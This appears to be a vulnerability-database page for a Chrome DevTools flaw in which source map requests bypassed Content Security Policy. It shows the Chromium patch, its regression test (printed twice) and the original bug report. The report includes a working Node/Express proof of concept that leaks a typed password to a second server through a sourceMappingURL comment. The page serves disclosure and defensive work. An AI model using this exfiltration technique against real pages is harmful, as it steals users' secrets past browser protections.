Chrome · Devtools
CVE-2025-12909
Logic Error in Devtools
Overview
Low
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifcontent/browser/devtools/protocol/network_handler.cc |
modified |
Files Changed
content/browser/devtools/protocol/network_handler.ccthird_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txtthird_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.jsthird_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php
Patch
From fe72006efbce74a7a7133287a6688cc4f4bec87b Mon Sep 17 00:00:00 2001
From: Danil Somsikov <dsv@chromium.org>
Date: Fri, 04 Jul 2025 01:48:54 -0700
Subject: [PATCH] Implement `connect-src` check for `Network.loadNetworkResource`
Without this check source map requests bypass, potentially allowing data exfiltration.
Bug: 361116749
Change-Id: I3dcc3e089d4a228cc953c11d7155147bb5c2f6e0
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/6667844
Auto-Submit: Danil Somsikov <dsv@chromium.org>
Commit-Queue: Danil Somsikov <dsv@chromium.org>
Reviewed-by: Andrey Kosyakov <caseq@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1482495}
---
diff --git a/content/browser/devtools/protocol/network_handler.cc b/content/browser/devtools/protocol/network_handler.cc
index f0298c7..83676b5 100644
--- a/content/browser/devtools/protocol/network_handler.cc
+++ b/content/browser/devtools/protocol/network_handler.cc
@@ -47,6 +47,7 @@
#include "content/browser/loader/url_loader_factory_utils.h"
#include "content/browser/renderer_host/frame_tree_node.h"
#include "content/browser/renderer_host/navigation_request.h"
+#include "content/browser/renderer_host/render_frame_host_csp_context.h"
#include "content/browser/renderer_host/render_frame_host_impl.h"
#include "content/browser/storage_partition_impl.h"
#include "content/browser/url_loader_factory_params_helper.h"
@@ -3620,6 +3621,19 @@
return;
}
+ RenderFrameHostCSPContext csp_context(frame);
+
+ network::CSPCheckResult result = csp_context.IsAllowedByCsp(
+ frame->policy_container_host()->policies().content_security_policies,
+ network::mojom::CSPDirectiveName::ConnectSrc, gurl, gurl,
+ /*has_followed_redirect=*/false, /*source_location=*/nullptr,
+ network::CSPContext::CHECK_ENFORCED_CSP,
+ /*is_form_submission=*/false);
+ if (!result.IsAllowed()) {
+ callback->sendFailure(Response::ServerError("CSP violation"));
+ return;
+ }
+
auto params = URLLoaderFactoryParamsHelper::CreateForFrame(
frame, frame->GetLastCommittedOrigin(),
frame->GetIsolationInfoForSubresources(),
@@ -3651,6 +3665,7 @@
DevToolsAgentHostImpl::GetForId(host_id_);
if (host) {
// TODO(sigurds): Support dedicated workers.
+ // TODO(mkwst): Check CSP for non-frame targets.
auto info = host->CreateNetworkFactoryParamsForDevTools();
auto factory = CreateNetworkFactoryForDevTools(
gurl.scheme(), host->GetProcessHost(), MSG_ROUTING_NONE, info.origin,
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt
new file mode 100644
index 0000000..55453f99
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt
@@ -0,0 +1,14 @@
+Tests for Network.loadNetworkResource with CSP
+Response for fetch with cross-origin resource (should be blocked by CSP):{
+ code : -32000
+ message : CSP violation
+}
+Response for fetch with same-origin resource (should be allowed by CSP):{
+ resource : {
+ headers : <object>
+ httpStatusCode : 200
+ stream : 1
+ success : true
+ }
+}
+
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js
new file mode 100644
index 0000000..1fc7c8e0
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js
@@ -0,0 +1,31 @@
+(async function(/** @type {import('test_runner').TestRunner} */ testRunner) {
+ const {page, session, dp} = await testRunner.startURL(
+ `http://127.0.0.1:8000/inspector-protocol/network/resources/page-with-csp.php?csp=connect-src%20'self'`,
+ `Tests for Network.loadNetworkResource with CSP`);
+
+ const {result: {frameTree}} = await dp.Page.getFrameTree();
+ const frameId = frameTree.frame.id;
+
+ async function loadResource(url, explanation) {
+ const response = await dp.Network.loadNetworkResource({
+ frameId,
+ url,
+ options: {disableCache: false, includeCredentials: false}
+ });
+ testRunner.log(response.error ?? response.result, explanation, ['headers']);
+ }
+
+ const crossOriginUrl =
+ `https://localhost:8443/inspector-protocol/network/resources/source.map`;
+ await loadResource(
+ crossOriginUrl,
+ `Response for fetch with cross-origin resource (should be blocked by CSP):`);
+
+ const sameOriginUrl =
+ `http://127.0.0.1:8000/inspector-protocol/network/resources/source.map`;
+ await loadResource(
+ sameOriginUrl,
+ `Response for fetch with same-origin resource (should be allowed by CSP):`);
+
+ testRunner.completeTest();
+})
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php b/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php
new file mode 100644
index 0000000..8b7cc59
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php
@@ -0,0 +1,14 @@
+<?php
+$csp = $_GET['csp'];
+header("content-security-policy: $csp");
+?>
+
+<!DOCTYPE html>
+<html lang="en">
+ <head>
+ <meta charset="utf-8">
+ <title>Page with restrictive CSP</title>
+ </head>
+ <body>
+ </body>
+</html>
Loading diff…
Regression Test / PoC
shipped with the fix
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt
new file mode 100644
index 0000000..55453f99
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt
@@ -0,0 +1,14 @@
+Tests for Network.loadNetworkResource with CSP
+Response for fetch with cross-origin resource (should be blocked by CSP):{
+ code : -32000
+ message : CSP violation
+}
+Response for fetch with same-origin resource (should be allowed by CSP):{
+ resource : {
+ headers : <object>
+ httpStatusCode : 200
+ stream : 1
+ success : true
+ }
+}
+
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js
new file mode 100644
index 0000000..1fc7c8e0
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js
@@ -0,0 +1,31 @@
+(async function(/** @type {import('test_runner').TestRunner} */ testRunner) {
+ const {page, session, dp} = await testRunner.startURL(
+ `http://127.0.0.1:8000/inspector-protocol/network/resources/page-with-csp.php?csp=connect-src%20'self'`,
+ `Tests for Network.loadNetworkResource with CSP`);
+
+ const {result: {frameTree}} = await dp.Page.getFrameTree();
+ const frameId = frameTree.frame.id;
+
+ async function loadResource(url, explanation) {
+ const response = await dp.Network.loadNetworkResource({
+ frameId,
+ url,
+ options: {disableCache: false, includeCredentials: false}
+ });
+ testRunner.log(response.error ?? response.result, explanation, ['headers']);
+ }
+
+ const crossOriginUrl =
+ `https://localhost:8443/inspector-protocol/network/resources/source.map`;
+ await loadResource(
+ crossOriginUrl,
+ `Response for fetch with cross-origin resource (should be blocked by CSP):`);
+
+ const sameOriginUrl =
+ `http://127.0.0.1:8000/inspector-protocol/network/resources/source.map`;
+ await loadResource(
+ sameOriginUrl,
+ `Response for fetch with same-origin resource (should be allowed by CSP):`);
+
+ testRunner.completeTest();
+})
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php b/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php
new file mode 100644
index 0000000..8b7cc59
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php
@@ -0,0 +1,14 @@
+<?php
+$csp = $_GET['csp'];
+header("content-security-policy: $csp");
+?>
+
+<!DOCTYPE html>
+<html lang="en">
+ <head>
+ <meta charset="utf-8">
+ <title>Page with restrictive CSP</title>
+ </head>
+ <body>
+ </body>
+</html>
Loading diff…
Original Bug Report
reported by no...@applitools.com
CSP doesn't block sourceMappingURL
VULNERABILITY DETAILS
The vulnerability allows source maps from unauthorized domains to be loaded despite Content Security Policy restrictions, potentially exposing sensitive information.
VERSION
- Chrome Version: 127.0.6533.99 (Official Build) snap (64-bit) stable
- Operating System: Ubuntu 24.04 LTS (Codename: noble)
REPRODUCTION CASE
- tested on node (20.16.0) npm (10.8.1) and express (4.19.2)
- save the code below as
server.js - execute node server.js
- go to
http://localhost:3007/ - enter a secret phrase to the password field
- open the devtool
expected behavior:
The browser should not make any cross-origin requests. The source map should not be loaded, and an error message should appear in the console.
actual behavior:
The browser transmit the secret passphrase to a third party once the developers tool is opened.
import express from 'express'
const app = express()
const app2 = express()
app.get('/', (req, res) => {
console.log('index requested')
res.send(`
<meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline';connect-src 'self';">
<input type="password" onkeyup="f(this.value)"/>
<script>
function f(val) {
document.getElementsByTagName('style')[0].innerHTML = \`
/*# sourceMappingURL=http://localhost:3008/styles.css.map/\${val} */
\`
}
</script>
<style></style>
`)
})
app2.get('/styles.css.map/:id', (req, res) => {
console.log(req.params.id, 'requested')
res.send(``)
})
app.listen(3007, () => console.log('Server is running on port 3007'))
app2.listen(3008, () => console.log('Server is running on port 3008'))
CREDIT INFORMATION
Reporter credit: Noam Gaash
References
On This Page